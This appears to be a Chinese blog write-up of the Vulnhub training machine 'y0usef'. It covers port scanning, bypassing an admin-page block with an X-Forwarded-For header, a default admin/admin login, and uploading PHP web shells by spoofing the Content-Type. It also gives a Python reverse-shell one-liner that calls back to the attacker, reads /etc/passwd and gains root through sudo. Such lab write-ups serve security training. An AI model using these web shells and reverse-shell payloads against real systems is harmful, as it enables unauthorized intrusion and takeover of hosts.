目 录CONTENT

文章目录

Vulnhub靶机:y0usef

Administrator
2023-07-10 / 0 评论 / 0 点赞 / 15 阅读 / 0 字

Vulnhub靶机:y0usef

攻击机:kali

第一步、局域网主机发现

arp-scan -l

扫描局域网内的主机

d2b5ca33bd182902

192.168.10.1为网关
192.168.10.2为靶机IP地址

拿到ip后可以扫描靶机开放的端口

d2b5ca33bd184859

发现开通了22、80两个端口,提示我们可以考虑靶机上的sshhttp服务

先用默认脚本扫描一下

nmap --min-rate 10000 -p22,80 -sC -sV 192.168.10.2

-sV -sC 默认安全脚本扫描

d2b5ca33bd185355

根据靶机开放的80端口,推测可以去网页上寻找突破口

d2b5ca33bd190233

查看源码并没有帮助信息

d2b5ca33bd191110

尝试能否查看靶机上的robots.txt文件

d2b5ca33bd190502

使用whatweb工具查看web应用所采用的软件构架

d2b5ca33bd191229

再尝试用dirsearch爆破 web 服务端的路径

d2b5ca33bd191334

发现一些隐藏的路径和文件

/adminstration

/index.php

/index.php/login

其中,通过后两个文件的url进入服务器后的页面与此前相同,仍无有价值信息。

HTTP的状态码可分为五大类:

1xx-临时响应、

2xx-成功、(成功)服务器已成功处理了请求。通常,这表示服务器提供了请求的网页。

3xx-重定向、(永久移动)请求的网页已永久移动到新位置。
服务器返回此响应(对 GET 或 HEAD 请求的响应)时,会自动将请求者转到新位置。

4xx-请求错误、  (禁止)服务器拒绝请求。

5xx-服务器错误。

尝试访问http://192.168.10.2/adminstration/

d2b5ca33bd193045

提示我们没有权限,需要进行“绕过”。这里我们采用“X系列头部绕过”的方式

在被拦截的数据包中加入X-Forwarded-For: 127.0.0.1

d2b5ca33bd193712

成功进入一个登录界面,这里尝试使用admin,admin登录

d2b5ca33bd193740

登录成功

d2b5ca33bd215831

首先编写一个“一句话木马”的PHP 文件shell.php,内容如下:

php <?php $var=shell_exec($_GET['cmd']); echo $var?>

尝试直接将其上传,发现网站提示文件被拒绝:

网站可能存在针对文件类型的过滤

d2b5ca33bd220000

通过修改被拦截的报文中Content-Type字段的值进行绕过:

修改为:image/png

d2b5ca33bd220416

显示上传成功

d2b5ca33bd220512

测试代码是否可以正常运行

http://192.168.10.2/adminstration/upload/files/1688997873shell.php?cmd=ls

d2b5ca33bd221505

指令成功运行,
接下来可以上传一句话<?php @eval($_POST['shell']);?>
直接蚁剑连接

d2b5ca33bd222050

也可以通过url让目标靶机执行反弹shell的代码了
首先,先试探一下靶机的语言环境:

http://192.168.10.2/adminstration/upload/files/1688997873shell.php?cmd=which python

d2b5ca33bd221533

说明靶机有python环境

http://192.168.10.2/adminstration/upload/files/1688997873shell.php?cmd=后面接反弹代码

Python反弹代码,把其中ip修改为kali的ip,port修改为监听的端口

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

d2b5ca33bd223439

获取完整shell

d2b5ca33bd224151

查看passwd文件
cat /etc/passwd

有一个叫yousef的用户可以登录系统

d2b5ca33bd224330

进入该用户的主目录,发现文件user.txt。查看内容,发现第一个flag

d2b5ca33bd224603

对其值进行解密,得到账号密码,就可以ssh登录了

d2b5ca33bd224807

成功登入yousef后,查看该用户所在的用户组

id

d2b5ca33bd224943

发现该用户属于sudo组,查看该用户可执行的指令

sudo -l

d2b5ca33bd225036

发现该用户可以执行所有的系统指令,则我们可以直接切换为root身份

sudo -i

d2b5ca33bd225113

主目录下的文件,内容为base64解码

d2b5ca33bd225211

解密后为:你已经获得了根祝贺你有任何反馈内容我推特@y0usef_11

d2b5ca33bd225249

完结撒花

-.-

0

评论区